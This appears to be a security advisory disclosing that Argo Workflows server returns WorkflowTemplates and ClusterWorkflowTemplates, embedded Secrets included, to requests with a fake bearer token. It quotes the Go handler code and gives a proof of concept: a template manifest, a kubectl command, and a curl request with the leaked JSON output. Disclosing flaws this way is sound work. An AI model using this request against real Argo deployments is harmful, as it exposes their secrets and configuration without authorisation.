Summary
Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests.
Details
|
func (wts *WorkflowTemplateServer) GetWorkflowTemplate(ctx context.Context, req *workflowtemplatepkg.WorkflowTemplateGetRequest) (*v1alpha1.WorkflowTemplate, error) { |
|
wfTmpl, err := wts.getTemplateAndValidate(ctx, req.Namespace, req.Name) |
|
if err != nil { |
|
return nil, sutils.ToStatusError(err, codes.Internal) |
|
} |
|
return wfTmpl, nil |
|
} |
|
|
|
func (wts *WorkflowTemplateServer) getTemplateAndValidate(ctx context.Context, namespace string, name string) (*v1alpha1.WorkflowTemplate, error) { |
|
wfTmpl, err := wts.wftmplStore.Getter(ctx, namespace).Get(ctx, name) |
|
if err != nil { |
|
return nil, sutils.ToStatusError(err, codes.Internal) |
|
} |
|
err = wts.instanceIDService.Validate(wfTmpl) |
|
if err != nil { |
|
return nil, sutils.ToStatusError(err, codes.InvalidArgument) |
|
} |
|
return wfTmpl, nil |
|
} |
|
func (cwts *ClusterWorkflowTemplateServer) GetClusterWorkflowTemplate(ctx context.Context, req *clusterwftmplpkg.ClusterWorkflowTemplateGetRequest) (*v1alpha1.ClusterWorkflowTemplate, error) { |
|
wfTmpl, err := cwts.getTemplateAndValidate(ctx, req.Name) |
|
if err != nil { |
|
return nil, serverutils.ToStatusError(err, codes.Internal) |
|
} |
|
return wfTmpl, nil |
|
} |
|
|
|
func (cwts *ClusterWorkflowTemplateServer) getTemplateAndValidate(ctx context.Context, name string) (*v1alpha1.ClusterWorkflowTemplate, error) { |
|
wfTmpl, err := cwts.cwftmplStore.Getter(ctx).Get(ctx, name) |
|
if err != nil { |
|
return nil, serverutils.ToStatusError(err, codes.Internal) |
|
} |
|
err = cwts.instanceIDService.Validate(wfTmpl) |
|
if err != nil { |
|
return nil, serverutils.ToStatusError(err, codes.InvalidArgument) |
|
} |
|
return wfTmpl, nil |
|
} |
Informers use the server’s rest config, so they read using server SA privileges.
|
func NewInformer(restConfig *rest.Config, managedNamespace string) (*Informer, error) { |
|
dynamicInterface, err := dynamic.NewForConfig(restConfig) |
|
if err != nil { |
|
return nil, err |
|
} |
|
informer := informer.NewTolerantWorkflowTemplateInformer( |
|
dynamicInterface, |
|
workflowTemplateResyncPeriod, |
|
managedNamespace) |
|
return &Informer{ |
|
informer: informer, |
|
managedNamespace: managedNamespace, |
|
}, nil |
|
} |
|
func NewInformer(restConfig *rest.Config) (*Informer, error) { |
|
dynamicInterface, err := dynamic.NewForConfig(restConfig) |
|
if err != nil { |
|
return nil, err |
|
} |
|
informer := informer.NewTolerantClusterWorkflowTemplateInformer( |
|
dynamicInterface, |
|
workflowTemplateResyncPeriod, |
|
) |
|
return &Informer{ |
|
informer: informer, |
|
}, nil |
|
} |
PoC
- Create template
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
name: leak-workflow-template
namespace: argo
spec:
templates:
- name: make-secret
resource:
action: create
manifest: |
apiVersion: v1
kind: Secret
metadata:
name: leaked-secret
type: Opaque
data:
password: c3VwZXJzZWNyZXQ=
Then apply that with kubectl apply -f poc.yml
2. Query Argo Server with a fake token
Result:
> kubectl apply -f poc.yml
workflowtemplate.argoproj.io/leak-workflow-template created
> curl -sk -H "Authorization: Bearer nothing" \
"https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template"
{"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n name: leaked-secret\\ntype: Opaque\\ndata:\\n password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n name: leaked-secret\ntype: Opaque\ndata:\n password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}}
Impact
Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.
Summary
Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a
Authorization: Bearer nothingtoken can leak sensitive template content, including embedded Secret manifests.Details
argo-workflows/server/workflowtemplate/workflow_template_server.go
Lines 60 to 78 in b519c90
argo-workflows/server/clusterworkflowtemplate/cluster_workflow_template_server.go
Lines 54 to 72 in b519c90
Informers use the server’s rest config, so they read using server SA privileges.
argo-workflows/server/workflowtemplate/informer.go
Lines 29 to 42 in b519c90
argo-workflows/server/clusterworkflowtemplate/informer.go
Lines 34 to 46 in b519c90
PoC
Then apply that with
kubectl apply -f poc.yml2. Query Argo Server with a fake token
Result:
Impact
Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.